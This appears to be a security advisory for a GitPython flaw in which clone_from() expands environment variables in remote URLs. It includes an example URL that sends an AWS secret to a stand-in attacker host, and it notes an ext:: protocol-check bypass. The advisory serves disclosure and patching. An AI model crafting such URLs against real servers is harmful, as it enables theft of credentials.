Executive brief
GitPython is a popular Python library for working with Git repositories. A vulnerability in the clone_from() function allows attackers to extract sensitive environment variables (such as AWS credentials or GitHub tokens) from servers by controlling the clone URL. When a user attempts to clone a repository from an attacker-supplied URL containing special tokens, the library expands those tokens to the server's secrets before transmitting the URL over the network to the attacker's host, resulting in credential exposure.
Technical details
The vulnerability exists in GitPython's Git.polish_url() function, which unconditionally calls os.path.expandvars() on remote clone URLs before passing them to the git clone subprocess. On non-Cygwin platforms, this function expands environment variables embedded in the URL (e.g., $AWS_SECRET_ACCESS_KEY or ${GITHUB_TOKEN}) to their actual values. An attacker who controls the URL argument to Repo.clone_from() can craft a URL like https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git, which is expanded server-side to include the literal secret value. The git clone command then transmits this expanded URL (containing the secret) to the attacker-controlled host. Additionally, the unsafe-protocol check runs on the pre-expansion URL, allowing bypass by embedding ext:: transports in environment variables. GitPython versions before 3.1.52 are affected; the fix removes environment-variable expansion from remote URLs.
Affected products
- GitPython GitPython before 3.1.52
Timeline
- 2026-07-16: disclosed: GitHub Security Advisory GHSA-rwj8-pgh3-r573 published
- 2026-08-01: advisory: CVE-2026-67322 published
- 2026: patched: Fixed in GitPython 3.1.52